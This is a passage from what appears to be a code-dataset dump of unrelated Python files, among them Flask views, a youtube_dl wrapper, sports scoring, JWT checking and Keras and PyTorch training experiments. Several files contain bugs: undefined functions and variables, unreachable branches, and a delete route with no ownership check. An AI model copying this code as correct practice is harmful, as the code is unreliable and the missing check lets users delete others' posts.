redirect(url_for('main.profile',uname=uname))\n\n\n@main.route('/post//delete', methods = ['POST'])\n@login_required\ndef delete_post(id):\n post = Post.query.filter_by(id = id).first()\n db.session.delete(post)\n db.session.commit()\n\n return redirect(url_for('main.index'))\n","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"45349523","text":"import youtube_dl\n\n\nclass YoutubeDownloader:\n ydl_opts = {\n 'format': 'bestaudio/best',\n 'outtmpl': '%(title)s.%(ext)s',\n 'postprocessors': [\n {\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'mp3',\n 'preferredquality': '192'\n },\n {\n 'key': 'FFmpegMetadata'\n }\n ]\n }\n\n def __init__(self, ydl_opts=None):\n self.ydl_opts = ydl_opts or self.ydl_opts\n\n def download(self, url_list):\n with youtube_dl.YoutubeDL(self.ydl_opts) as ydl:\n try:\n res = ydl.download(url_list=url_list)\n except youtube_dl.utils.ExtractorError as e:\n res = \"Error {}\".format(e)\n return res\n\n def updating_path_for_saving(self, path):\n self.ydl_opts.update({'outtmpl': path + '/%(title)s.%(ext)s'})\n","sub_path":"ytDownloader/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"315585190","text":"import os\r\n\r\ndef count(s):\r\n\treturn len(s.split())\r\n\r\nif __name__ == '__main__':\r\n\tindex = 0\r\n\tpath = os.path.split(os.path.realpath(__file__))[0]\r\n\twords = 0\r\n\twhile True:\r\n\t\tindex += 1\r\n\t\ttry:\r\n\t\t\tf = open(path + '\\\\' + f'{index}.lab', 'r')\r\n\t\t\ts = f.read()\r\n\t\t\tf.close()\r\n\t\t\twords += count(s)\r\n\t\texcept FileNotFoundError:\r\n\t\t\tbreak\r\n\tprint(f'The number of words in total is: {words}')","sub_path":"Aligner/counting_words.py","file_name":"counting_words.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"553025535","text":"\"\"\"This module consists of the functions required to calculate the points for the top players\"\"\"\r\n\r\ndef batting(p):\r\n batscore=0\r\n batscore+=p['runs']/2\r\n if p['runs']>=50:\r\n batscore+=5\r\n elif p['runs']>=100:\r\n batscore+=10\r\n if p['runs']/p['balls']>=80 and p['runs']/p['balls']<=100:\r\n batscore+=2\r\n elif p['runs']/p['balls']>100:\r\n batscore+=6\r\n batscore+=p['4']\r\n batscore+=p['6']*2\r\n batscore+=(p['field']*10)\r\n ptemp={'score':int(batscore)}\r\n p.update(ptemp)\r\n pnew={'name':p['name'],'score':p['score']}\r\n print(pnew)\r\n return\r\n\r\ndef bowling(p):\r\n bowlscore=0\r\n bowlscore+=p['wkts']*10\r\n if p['wkts']>=3:\r\n bowlscore+=5\r\n if p['wkts']>=5:\r\n bowlscore+=10\r\n if 3.5<=(p['runs']/p['overs']) and (p['runs']/p['overs'])<=4.5:\r\n bowlscore+=4\r\n elif 2<=(p['runs']/p['overs']) and (p['runs']/p['overs'])<=3:\r\n bowlscore+=7\r\n elif (p['runs']/p['overs'])<2:\r\n bowlscore+=10\r\n bowlscore+=p['field']*10\r\n ptemp={'score':int(bowlscore)}\r\n p.update(ptemp)\r\n pnew={'name':p['name'],'score':p['score']}\r\n print(pnew)\r\n return\r\n\r\ndef ba_or_bo(p):\r\n if p['role']=='bat':\r\n batting(p)\r\n else:\r\n bowling(p)\r\n return\r\n\r\n\r\ndef top_p(lst):\r\n maxx=lst[0]['score']\r\n for i in lst[1:5]:\r\n if(i['score']>maxx):\r\n maxx=i['score']\r\n top=i\r\n\r\n return top\r\n \r\n \r\n \r\n\r\n\r\n \r\n","sub_path":"p_points.py","file_name":"p_points.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"589840700","text":"import jwt\nfrom instance.config import SECRET_KEY as key\nimport datetime\n\n\ndef check_auth_token(token):\n\n decoded_data = jwt.decode(token, key)\n\n if datetime.datetime.strptime(decoded_data[\"expire_at\"],\n \"%Y-%m-%d %H:%M:%S.%f\") \\\n < datetime.datetime.utcnow():\n return False, {}\n else:\n return True, {\"email\": decoded_data[\"email\"],\n \"type\": decoded_data[\"type\"]}\n","sub_path":"backend/app/main/util/auth_token.py","file_name":"auth_token.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"87564382","text":"import numpy as np\nimport onur_tools as ot\nimport sys\nimport glob\n\ndef timeline(input_path, halo_ID):\n\n\tredshift, place = ot.z(input_path)\n\tredshift = redshift[::-1]\t\t\n\n\tz_1 = []\n\tposition = []\n\tID = []\n\tmstar = []\n\tmhalo = []\n\tz_2 = []\n\tdescendant = []\t\n\n\tfilename = input_path + '/halo_' + str(halo_ID) + '.txt'\n\tfile_halo = open(filename, 'r')\n\tfor line in file_halo.readlines():\n\t\tdata = map(float, np.array(line.split()))\n\t\tz_1.append(data[0])\n\t\tposition.append(redshift.tolist().index(data[0]))\n\t\tID.append(int(data[1]))\n\t\tmstar.append(data[2])\n\t\tmhalo.append(data[3])\n\t\tz_2.append(data[4])\n\t\tdescendant.append(int(data[5]))\n\tfile_halo.close()\n\n\ttimeline_file = input_path + '/timeline_' + str(halo_ID) + '.txt'\n\twrite_data = open(timeline_file, 'w')\t\n\n\tID_filter = halo_ID\n\tfor i in range(len(redshift)):\n\n\t\tdata = [[a,b,c,d,e] for a,b,c,d,e in zip(z_1,ID,mstar,mhalo,descendant) if a == redshift[i] if b == ID_filter]\n\n\t\tif data:\n\t\t\tif data[0] != -1:\n\t\t\t\twrite_data.write('%-6.3f %-5i %-10.3e %-10.3e \\n' %(data[0][0],data[0][1],data[0][2],data[0][3]))\n\t\t\t\t#print '%-6.3f %-5i %-10.3e %-10.3e' %(data[0][0],data[0][1],data[0][2],data[0][3])\n\t\t\t\tID_filter = data[0][4]\n\t\t\telse:\n\t\t\t\tbreak\n\n\twrite_data.close()\n\n##############################\n######### MAIN BODY ##########\n##############################\n\ninput_path = str(sys.argv[1])\n\nremove = len(input_path) + 6\nfilelist = sorted(glob.glob(input_path + '/halo_*.txt'))\nhalo_ID_list = []\n\nfor filename in filelist:\n\thalo_ID_list.append(filename[remove:-4])\n\nhalo_ID_list = [162] #np.sort(np.array(halo_ID_list).astype(int))\n\nfor halo_ID in halo_ID_list:\n\ttimeline(input_path, halo_ID)\n","sub_path":"timeline.py","file_name":"timeline.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"351696924","text":"import re\nf = open(\"ZGGG_TS.txt\", \"r\")\ntext = f.read()\n\n#TS 앞에 여러개가 붙는경우\nts_pattern1 = r\"\\S+TS\"\n#TS 뒤에 여러개가 붙는경우\nts_pattern2 = r\"TS\\S+\"\n#- or + TS 뒤에 여러개가 붙는경우\nts_pattern3 = r\"[+-]TS\\S+\"\n#TS만인경우\nts_pattern4 = \"TS\"\n\n\n#패턴 찾아서 set로 반환\ndef find_set(pattern , text):\n\tcode_set = set(re.findall(pattern, text))\n\treturn code_set\n\n#set된 METAR 코드들중에서 각각 몇번 사용되었는 카운트\ndef set_count(code_set, text):\n\treturn\n\n#양옆에 whitespace를 주면 exact match가 된다.\nttl = [' -TSRA ', ' +TSRA ', ' TSRA ', ' TS ']\nfor i in ttl:\n\tprint(text_count(i))\n","sub_path":"met_analysis.py","file_name":"met_analysis.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"188783201","text":"class pythontraining:\n board = \"white board\"\n def studentage(slef,age):\n print('student age is '+str(age))\n def studentname(slef,name):\n print('stident name is'+str(name))\n def studentid(self,id):\n print('student id is '+str(name))\n def studentcalss():\n print('student class name '+str(classname))\nx = pythontraining();\nx.age = 18\nx.name = \"nagaraju\"\nx.id = 1\nx.classname=\"python\"\nx.studentage(x.age)\nx.studentage(x.name)\nx.studentage(x.id)\nx.studentage(x.classname)\n\ny = pythontraining();\ny.age = 19\ny.name = \"nag\"\ny.id = 2\ny.classname=\"node\"\ny.studentage(x.age)\ny.studentage(x.name)\ny.studentage(x.id)\ny.studentage(x.classname)\n\n ","sub_path":"files/variables1.py","file_name":"variables1.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"299188924","text":"import tensorflow as tf\nimport os\nimport numpy as np\nimport random\nimport itertools\nimport keras\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\ndef get_data(filename):\n data = []\n list_data = []\n end = False\n\n with open('C:\\ECGtest\\info\\\\' + filename + '.txt', 'r') as f:\n while 1:\n line = f.readline()\n if not line:\n break\n\n for ch in line:\n if ch == '*':\n end = True\n break\n elif ch == '\\n':\n continue\n else:\n data.append(int(ch))\n\n if end:\n end = False\n\n list_data.append(data)\n data = []\n\n return list_data\ndef get_last_data(filename):\n data = []\n list_data = []\n list_last = []\n end = False\n count = 0\n\n with open('C:\\ECGtest\\info\\\\' + filename + '.txt', 'r') as f:\n while 1:\n line = f.readline()\n if not line:\n break\n\n for ch in line:\n if ch == '*':\n end = True\n break\n elif ch == '\\n':\n continue\n else:\n data.append(int(ch))\n count = count + 1\n\n if end:\n end = False\n if count == 30:\n count = 1\n if count < 25:\n list_data.append(data)\n else:\n list_last.append(data)\n data = []\n\n return list_data, list_last\ndef get_label_n(x_train_data):\n label = []\n for i in range(0, len(x_train_data)):\n a = np.hstack((0, 1))\n label.append(a)\n return label\ndef get_label_p(x_train_data):\n label = []\n for i in range(0, len(x_train_data)):\n a = np.hstack((1, 0))\n label.append(a)\n return label\ndef get_org(n_p, n):\n list_data = []\n st = ''\n for i in range(0, len(n_p)):\n for j in range(0, n):\n st = st+str(n_p[i][j])\n list_data.append(int(st))\n st = ''\n return list_data\ndef get_list(n):\n list_pattern = []\n for i in range(1, 6):\n list_pattern.append(i)\n\n l_p_t = list(itertools.product(*[list_pattern]*n))\n list_pattern_t = get_org(l_p_t, n)\n\n return list_pattern_t\ndef get_array(list_pattern_5):\n np_5 = np.zeros((len(list_pattern_5), 7))\n for i in range(0, len(list_pattern_5)):\n np_5[i][0] = list_pattern_5[i]\n\n return np_5\ndef get_PSP(train, np_array, n):\n\n for i in range(0, len(train)):\n if i + n >= len(train):\n break\n else:\n temp = train[i: i + n + 1]\n gg = ''\n for p in range(0, n):\n gg = str(temp[p])+gg\n gg = int(gg)\n j = int(np.argwhere(np_array[:, 0] == gg))\n np_array[j][6] = np_array[j][6] + 1\n np_array[j][temp[n]] = np_array[j][temp[n]] + 1\n\n return np_array\ndef get_matrix(train, n):\n list_pattern = get_list(n)\n np_t = get_array(list_pattern)\n np_t = get_PSP(train, np_t, n)\n\n for i in range(1, 6):\n np_t[:, i] = np_t[:, i]/np_t[:, 6]\n where_nan = np.isnan(np_t)\n np_t[where_nan] = 0\n\n np_t = np.delete(np_t, [0, 6], axis=1)\n\n return np_t\n\n\npool_length = 5\nmaxlen = 25\nbatch_size = 10\nnp_epoch = 1500\n\nprint('Loading Model...')\n'''\nmodel_1 = tf.keras.models.load_model('my_model_1st_p_n.h5')\nmodel_2 = tf.keras.models.load_model('my_model_sec_p_n.h5')\nmodel_3 = tf.keras.models.load_model('GET_15_89.h5')\nmodel_4 = tf.keras.models.load_model('my_model_4th_p_n.h5')\n'''\nmodel_1 = keras.models.load_model('model_1.h5')\nmodel_2 = keras.models.load_model('model_2.h5')\nmodel_3 = keras.models.load_model('model_3.h5')\nmodel_4 = keras.models.load_model('Best_Model_Four_selu_15.h5')\nmodel = keras.models.load_model('Final_loss-10.h5')\n\nprint('Loading data...')\n\nn_train_data = get_data('paper_n_train')\nno_train_data = get_data('paper_n_o_train')\np_train_data = get_data('paper_p_train')\nn_train_data.extend(no_train_data)\n\nrandom.shuffle(n_train_data)\nrandom.shuffle(p_train_data)\n\n#截取一部分作为测试集\nn_test_data = n_train_data[1160:1450]\nn_train_data = n_train_data[0:1160]\n#n_train_data = n_train_data[0:870]+n_train_data[1160:len(n_train_data)]\np_test_data = p_train_data[580:725]\n#p_train_data = p_train_data[0:435]+p_train_data[580:len(p_train_data)]\np_train_data = p_train_data[0:580]\n#获得标签\n\nn_train_label = get_label_n(n_train_data)\np_train_label = get_label_p(p_train_data)\n\nn_test_label = get_label_n(n_test_data)\np_test_label = get_label_p(p_test_data)\n#形成数组\n\ntrain_data = np.array(n_train_data+p_train_data)\ntrain_label = np.array(n_train_label+p_train_label)\n\ntest_data = np.array(n_test_data+p_test_data)\ntest_label = np.array(n_test_label+p_test_label)\n\nl_test_1 = []\nl_test_2 = []\nl_test_3 = []\nl_test_4 = []\nfor i in range(0, test_data.shape[0]):\n p_1 = get_matrix(test_data[i], 1)\n p_2 = get_matrix(test_data[i], 2)\n p_3 = get_matrix(test_data[i], 3)\n p_4 = get_matrix(test_data[i], 4)\n l_test_1.append(p_1)\n l_test_2.append(p_2)\n l_test_3.append(p_3)\n l_test_4.append(p_4)\n print(i)\nnp_test_1 = np.array(l_test_1)\nnp_test_2 = np.array(l_test_2)\nnp_test_3 = np.array(l_test_3)\nnp_test_4 = np.array(l_test_4)\n\n\n\nl_train_1 = []\nl_train_2 = []\nl_train_3 = []\nl_train_4 = []\nfor i in range(0, train_data.shape[0]):\n p_1 = get_matrix(train_data[i], 1)\n p_2 = get_matrix(train_data[i], 2)\n p_3 = get_matrix(train_data[i], 3)\n p_4 = get_matrix(train_data[i], 4)\n l_train_1.append(p_1)\n l_train_2.append(p_2)\n l_train_3.append(p_3)\n l_train_4.append(p_4)\n print(i)\nnp_train_1 = np.array(l_train_1)\nnp_train_2 = np.array(l_train_2)\nnp_train_3 = np.array(l_train_3)\nnp_train_4 = np.array(l_train_4)\n\nerror = 0\nerror_1 = 0\nerror_2 = 0\nerror_3 = 0\nerror_4 = 0\n\nnp_train_1 = np.expand_dims(np_train_1, axis=3)\nnp_train_2 = np.expand_dims(np_train_2, axis=3)\nnp_train_3 = np.expand_dims(np_train_3, axis=3)\nnp_train_4 = np.expand_dims(np_train_4, axis=3)\n\nnp_test_1 = np.expand_dims(np_test_1, axis=3)\nnp_test_2 = np.expand_dims(np_test_2, axis=3)\nnp_test_3 = np.expand_dims(np_test_3, axis=3)\nnp_test_4 = np.expand_dims(np_test_4, axis=3)\n\ntest_1 = model_1.predict(np_test_1)\ntest_2 = model_2.predict(np_test_2)\ntest_3 = model_3.predict(np_test_3)\ntest_4 = model_4.predict(np_test_4)\ngg_test = (test_1+test_2+test_3+test_4)/4\ntest = np.hstack((test_1, test_2))\ntest = np.hstack((test, test_3))\ntest = np.hstack((test, test_4))\nprint(test.shape)\n\ntrain_1 = model_1.predict(np_train_1)\ntrain_2 = model_2.predict(np_train_2)\ntrain_3 = model_3.predict(np_train_3)\ntrain_4 = model_4.predict(np_train_4)\ntrain = np.hstack((train_1, train_2))\ntrain = np.hstack((train, train_3))\ntrain = np.hstack((train, train_4))\ntrain_label = np.array(n_train_label+p_train_label)\n''' \nmodel = keras.models.Sequential()\ndense = keras.layers.Dense(2, input_shape=[8,])\nmodel.add(dense)\nmodel.add(keras.layers.Activation(activation='softmax'))\nmodel.compile(loss='binary_crossentropy',\n optimizer='adam',\n metrics=['accuracy']\n)\n\nprint('Training...')\nfilepath=\"Final_loss-10.h5\"\ncheckpoint = keras.callbacks.ModelCheckpoint(filepath, monitor='val_loss', verbose=1, save_best_only=True)\ncallbacks_list = [checkpoint]\nmodel.fit(train, train_label,\n batch_size=batch_size, epochs=np_epoch,\n validation_data=(test, test_label),\n callbacks=callbacks_list)\nmodel.save('final_model_paper_n_r_loss.h5')\n\n'''\ntt=0\ntt1=0\nfor i in range(0, test.shape[0]):\n\n a = np.expand_dims(test[i], axis=0)\n pre = model.predict(a)\n r_1 = round(pre[0][0])\n r_2 = round(pre[0][1])\n gg = np.hstack((r_1, r_2))\n print('pre:', gg, 'label:', test_label[i])\n if r_1 != test_label[i][0] or r_2 != test_label[i][1]:\n error = error+1\n if r_1==0 and r_2==1 and test_label[i][0]==0 and test_label[i][1]==1:\n tt=tt+1\n if r_1==1 and r_2==0 and test_label[i][0]==1 and test_label[i][1]==0:\n tt1=tt1+1\n if round(gg_test[i][0]) != test_label[i][0] and round(gg_test[i][1]) != test_label[i][1]:\n error_1 = error_1+1\nprint('syn:',1-error/435)\nprint('TN:',tt)\nprint('TN rate:',tt/290)\nprint(('TP:',tt1))\nprint('TP rate:',tt1/145)\nprint('sen:',tt1/(tt1+290-tt))\nprint('spe:',tt/(tt+145-tt1))\nprint('avg:',error_1/435)\n ","sub_path":"src/integration_code/final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":8508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"361290580","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom networks import fcNet, convNet\nfrom dataset import dataSet\nimport os\n\n# check if GPU is feasible for training\ntrain_on_gpu = torch.cuda.is_available()\n\nif not train_on_gpu:\n print('Training on CPU ...')\nelse:\n print('Training on GPU ...')\n \n# initial hyperparameters\nBATCH_SIZE = 32\nINPUT_SIZE = 64\nOUTPUT_SIZE = 10\nHIDDEN_UNITS = 32\nLEARNING_RATE = 0.01\nMOMENTUM = 0.9\nEPOCH = 30\n\n# Loss function\ncriterionMSE = nn.MSELoss()\ncriterionCE = nn.CrossEntropyLoss()\n\ntrain_set = dataSet('data\\optdigits.tra', 8)\ntrain_loader = torch.utils.data.DataLoader(train_set, batch_size = BATCH_SIZE, shuffle = True)\ntest_set = dataSet('data\\optdigits.tes', 8)\ntest_loader = torch.utils.data.DataLoader(test_set, batch_size = BATCH_SIZE, shuffle = True)\n\ntrain_size = int(0.8 * len(train_set))\nvalid_size = len(train_set) - train_size\ntrain_dataset, valid_dataset = torch.utils.data.random_split(train_set, [train_size, valid_size])\ndataloader = [torch.utils.data.DataLoader(x, batch_size = BATCH_SIZE, shuffle = True) \n for x in [train_dataset, valid_dataset]]\n\n\ndef training(dataloader, model, epochs, save_path, optimizer, criterion, gpu, CE=True):\n '''\n training model\n '''\n if gpu:\n model.cuda()\n \n valid_min_loss = np.Inf\n for epoch in range(1, epochs+1):\n train_loss = 0.0\n valid_loss = 0.0\n \n # training part\n model.train()\n for data, target in dataloader[0]:\n if gpu:\n data, target = data.cuda(), target.cuda() # move model to gpu\n optimizer.zero_grad() # clear out previous gradients\n output = model(data)\n if CE:\n # if using cross entropy loss, take the index of class\n _, target = torch.max(target, 1)\n else:\n target = target.float()\n \n loss = criterion(output, target) \n \n loss.backward()\n optimizer.step()\n train_loss += loss.item() * data.size(0)\n \n # validation part\n model.eval() # turn off gradients for faster speed\n for data, target in dataloader[1]:\n if gpu:\n data, target = data.cuda(), target.cuda()\n output = model(data)\n if CE:\n # if using cross entropy loss\n _, target = torch.max(target, 1)\n else:\n target = target.float()\n loss = criterion(output, target)\n valid_loss += loss.item() * data.size(0)\n \n train_loss = train_loss / len(dataloader[0].dataset)\n valid_loss = valid_loss / len(dataloader[1].dataset)\n \n print('Epoch: {} \\tTraining Loss: {:.6f} \\tValidation Loss: {:.6f}'.format(\n epoch, train_loss, valid_loss))\n \n if valid_loss <= valid_min_loss:\n print('Validation loss decreased from {:.6f} to {:.6f}. Saving model ...'.format(\n valid_min_loss, valid_loss))\n torch.save(model.state_dict(), save_path)\n valid_min_loss = valid_loss\n \n\ndef testing(model, criterion, load_path, data_loader, gpu, CE=True):\n '''\n get accuracy of the model\n '''\n # load the model\n model.load_state_dict(torch.load(load_path))\n \n # test on training data\n test_loss = 0.0\n test_mat = np.zeros((10, 10))\n model.eval()\n for data, target in data_loader:\n if gpu:\n data, target = data.cuda(), target.cuda()\n output = model(data)\n if CE:\n # if using cross entropy loss\n _, target = torch.max(target, 1)\n else:\n target = target.float()\n loss = criterion(output, target)\n test_loss += loss.item() * data.size(0)\n _, pred = torch.max(output, 1) # get the prediction\n pred = pred.cpu().numpy()\n for i in range(len(output)):\n if CE:\n if gpu:\n target = target.cpu()\n true_idx = target[i].numpy()\n predicted = pred[i]\n else:\n _, true_idx = torch.max(target[i],0)\n if gpu:\n true_idx = true_idx.cpu()\n true_idx = true_idx.numpy()\n predicted = pred[i]\n test_mat[true_idx, predicted] += 1\n \n # average test train data loss\n test_loss = test_loss / len(data_loader.dataset)\n test_accuracy = np.trace(test_mat) / len(data_loader.dataset)\n \n return test_mat, test_loss, test_accuracy\n\n# experiments\n\ndef fcExpMSERe(layer_nums, units, epochs, lrs, mrs, drs):\n '''\n test different combination of parameters\n '''\n direc = 'MSERe'\n os.mkdir(direc)\n result_file = open('MSERe/fcMSEReresults.txt', 'w')\n csvF = open('MSERe/fcMSEReresults.csv', 'w')\n for l in layer_nums:\n for u in units:\n for e in epochs:\n for lr in lrs:\n for mr in mrs:\n for dr in drs:\n print('=======================================================', file=result_file)\n print('layer_num: {0}, units_per_layer: {1}, epoch: {2}, lr: {3}, mr: {4}, dr: {5}'.format(l,u,e,lr,mr,dr),\n file=result_file)\n file = 'MSERe/' + str(l) + '_' + str(u) + '_' + str(e) + '_' + str(lr) + '_' + str(mr) + '_' + str(dr)\n model = fcNet(l, INPUT_SIZE, OUTPUT_SIZE, u, dr, CE=False)\n optimizer = optim.SGD(model.parameters(), lr=lr, momentum=mr)\n training(dataloader, model, e, file, optimizer, criterionMSE, train_on_gpu, False)\n train_mat, train_loss, train_acc = testing(model, criterionMSE, file, train_loader, train_on_gpu, False)\n print(\"train loss is {0:.5f}, train accuracy is {1:.5f}\".format(train_loss, train_acc), file=result_file)\n test_mat, test_loss, test_acc = testing(model, criterionMSE, file, test_loader, train_on_gpu, False)\n print(\"test loss is {0:.5f}, test accuracy is {1:.5f}\".format(test_loss, test_acc), file=result_file)\n print(\"{0},{1},{2},{3},{4},{5},{6:.5f},{7:.5f},{8:.5f},{9:.5f}\".format(\n l,u,e,lr,mr,dr,train_loss,train_acc,test_loss,test_acc), file=csvF)\n \n \n result_file.close()\n csvF.close()\n \n \ndef fcExpCERe(layer_nums, units, epochs, lrs, mrs, drs):\n '''\n test different combination of parameters\n '''\n direc = 'CERe'\n os.mkdir(direc)\n result_file = open('CERe/fcCEReresults.txt', 'w')\n csvF = open('CERe/fcCEReresults.csv', 'w')\n for l in layer_nums:\n for u in units:\n for e in epochs:\n for lr in lrs:\n for mr in mrs:\n for dr in drs:\n print('=======================================================', file=result_file)\n print('layer_num: {0}, units_per_layer: {1}, epoch: {2}, lr: {3}, mr: {4}, dr: {5}'.format(l,u,e,lr,mr,dr),\n file=result_file)\n file = 'CERe/' + str(l) + '_' + str(u) + '_' + str(e) + '_' + str(lr) + '_' + str(mr) + '_' + str(dr)\n model = fcNet(l, INPUT_SIZE, OUTPUT_SIZE, u, dr)\n optimizer = optim.SGD(model.parameters(), lr=lr, momentum=mr)\n training(dataloader, model, e, file, optimizer, criterionCE, train_on_gpu)\n train_mat, train_loss, train_acc = testing(model, criterionCE, file, train_loader, train_on_gpu)\n print(\"train loss is {0:.5f}, train accuracy is {1:.5f}\".format(train_loss, train_acc), file=result_file)\n test_mat, test_loss, test_acc = testing(model, criterionCE, file, test_loader, train_on_gpu)\n print(\"test loss is {0:.5f}, test accuracy is {1:.5f}\".format(test_loss, test_acc), file=result_file)\n print(\"{0},{1},{2},{3},{4},{5},{6:.5f},{7:.5f},{8:.5f},{9:.5f}\".format(\n l,u,e,lr,mr,dr,train_loss,train_acc,test_loss,test_acc), file=csvF)\n \n result_file.close()\n csvF.close()\n\n# MSE VS CE\nhidden_layer_num = [2, 3]\nhidden_units_per_layer = [64, 128]\nepoch = [50, 60]\nlearning_rates = [0.01, 0.03]\nmomentum_rates = [0.8, 0.9]\ndropout_rates = [0.3, 0.4]\n\nfcExpMSERe(hidden_layer_num, hidden_units_per_layer, epoch, learning_rates, momentum_rates, dropout_rates)\nfcExpCERe(hidden_layer_num, hidden_units_per_layer, epoch, learning_rates, momentum_rates, dropout_rates)\n\n# tanh VS Relu\n\ndef fcExpRe(layer_nums, units, epochs, lrs, mrs, drs):\n '''\n test different combination of parameters\n '''\n direc = 'Re'\n os.mkdir(direc)\n result_file = open('Re/fcReresults.txt', 'w')\n csvF = open('Re/fcReresults.csv', 'w')\n for l in layer_nums:\n for u in units:\n for e in epochs:\n for lr in lrs:\n for mr in mrs:\n for dr in drs:\n print('=======================================================', file=result_file)\n print('layer_num: {0}, units_per_layer: {1}, epoch: {2}, lr: {3}, mr: {4}, dr: {5}'.format(l,u,e,lr,mr,dr),\n file=result_file)\n file = 'Re/' + str(l) + '_' + str(u) + '_' + str(e) + '_' + str(lr) + '_' + str(mr) + '_' + str(dr)\n model = fcNet(l, INPUT_SIZE, OUTPUT_SIZE, u, dr)\n optimizer = optim.SGD(model.parameters(), lr=lr, momentum=mr)\n training(dataloader, model, e, file, optimizer, criterionCE, train_on_gpu)\n train_mat, train_loss, train_acc = testing(model, criterionCE, file, train_loader, train_on_gpu)\n print(\"train loss is {0:.5f}, train accuracy is {1:.5f}\".format(train_loss, train_acc), file=result_file)\n test_mat, test_loss, test_acc = testing(model, criterionCE, file, test_loader, train_on_gpu)\n print(\"test loss is {0:.5f}, test accuracy is {1:.5f}\".format(test_loss, test_acc), file=result_file)\n print(\"{0},{1},{2},{3},{4},{5},{6:.5f},{7:.5f},{8:.5f},{9:.5f}\".format(\n l,u,e,lr,mr,dr,train_loss,train_acc,test_loss,test_acc), file=csvF)\n \n result_file.close()\n csvF.close()\n\ndef fcExpCETanh(layer_nums, units, epochs, lrs, mrs, drs):\n '''\n test different combination of parameters\n '''\n direc = 'CETanh'\n os.mkdir(direc)\n result_file = open('CETanh/fcCETanhresults.txt', 'w')\n csvF = open('CETanh/fcCETanhresults.csv', 'w')\n for l in layer_nums:\n for u in units:\n for e in epochs:\n for lr in lrs:\n for mr in mrs:\n for dr in drs:\n print('=======================================================', file=result_file)\n print('layer_num: {0}, units_per_layer: {1}, epoch: {2}, lr: {3}, mr: {4}, dr: {5}'.format(l,u,e,lr,mr,dr),\n file=result_file)\n file = 'CETanh/' + str(l) + '_' + str(u) + '_' + str(e) + '_' + str(lr) + '_' + str(mr) + '_' + str(dr)\n model = fcNet(l, INPUT_SIZE, OUTPUT_SIZE, u, dr, CE=True, Re=False)\n optimizer = optim.SGD(model.parameters(), lr=lr, momentum=mr)\n training(dataloader, model, e, file, optimizer, criterionCE, train_on_gpu)\n train_mat, train_loss, train_acc = testing(model, criterionCE, file, train_loader, train_on_gpu)\n print(\"train loss is {0:.5f}, train accuracy is {1:.5f}\".format(train_loss, train_acc), file=result_file)\n test_mat, test_loss, test_acc = testing(model, criterionCE, file, test_loader, train_on_gpu)\n print(\"test loss is {0:.5f}, test accuracy is {1:.5f}\".format(test_loss, test_acc), file=result_file)\n print(\"{0},{1},{2},{3},{4},{5},{6:.5f},{7:.5f},{8:.5f},{9:.5f}\".format(\n l,u,e,lr,mr,dr,train_loss,train_acc,test_loss,test_acc), file=csvF)\n \n \n result_file.close()\n csvF.close()\n\nhidden_layer_num = [2, 3]\nhidden_units_per_layer = [64, 100]\nepoch = [50, 60]\nlearning_rates = [0.01, 0.02]\nmomentum_rates = [0.8, 0.9]\ndropout_rates = [0.4, 0.5]\n\nfcExpRe(hidden_layer_num, hidden_units_per_layer, epoch, learning_rates, momentum_rates, dropout_rates)\nfcExpCETanh(hidden_layer_num, hidden_units_per_layer, epoch, learning_rates, momentum_rates, dropout_rates)\n\n## conv\nconv_layer_num = [2, 3, 4]\nout_channels = [16, 32, 64]\nkernel = [2]\npadding = [0, 1]\nstride = [1]\nepoch = [40, 50]\n\ndef convExp(layer_nums, channels, kernels, paddings, strides, epochs):\n '''\n test different combination of parameters\n '''\n direc = 'conv'\n os.mkdir(direc)\n result_file = open('conv/convResults.txt', 'w')\n csvF = open('conv/convResults.csv', 'w')\n for l in layer_nums:\n for c in channels:\n for k in kernels:\n for p in paddings:\n for s in strides:\n for e in epochs:\n print('=======================================================', file=result_file)\n print('layer_num: {0}, out_channel: {1}, kernel: {2}, padding: {3}, stride: {4}, epoch: {5}'.format(l,c,k,p,s,e),\n file=result_file)\n file = 'conv/' + str(l) + '_' + str(c) + '_' + str(k) + '_' + str(p) + '_' + str(s) + '_' + str(e)\n model = convNet(8, l, 1, c, k, p, s)\n optimizer = optim.SGD(model.parameters(), lr=0.01, momentum=0.9)\n training(dataloader, model, e, file, optimizer, criterionCE, train_on_gpu)\n train_mat, train_loss, train_acc = testing(model, criterionCE, file, train_loader, train_on_gpu)\n print(\"train loss is {0:.5f}, train accuracy is {1:.5f}\".format(train_loss, train_acc), file=result_file)\n test_mat, test_loss, test_acc = testing(model, criterionCE, file, test_loader, train_on_gpu)\n print(\"test loss is {0:.5f}, test accuracy is {1:.5f}\".format(test_loss, test_acc), file=result_file)\n print(\"{0},{1},{2},{3},{4},{5},{6:.5f},{7:.5f},{8:.5f},{9:.5f}\".format(\n l,c,k,p,s,e,train_loss,train_acc,test_loss,test_acc), file=csvF)\n \n \n result_file.close()\n csvF.close()\n \nconvExp(conv_layer_num, out_channels, kernel, padding, stride, epoch)","sub_path":"lab3/lab3.py","file_name":"lab3.py","file_ext":"py","file_size_in_byte":15512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"578264666","text":"from django.urls import path\nfrom Dtlapp import views\nfrom 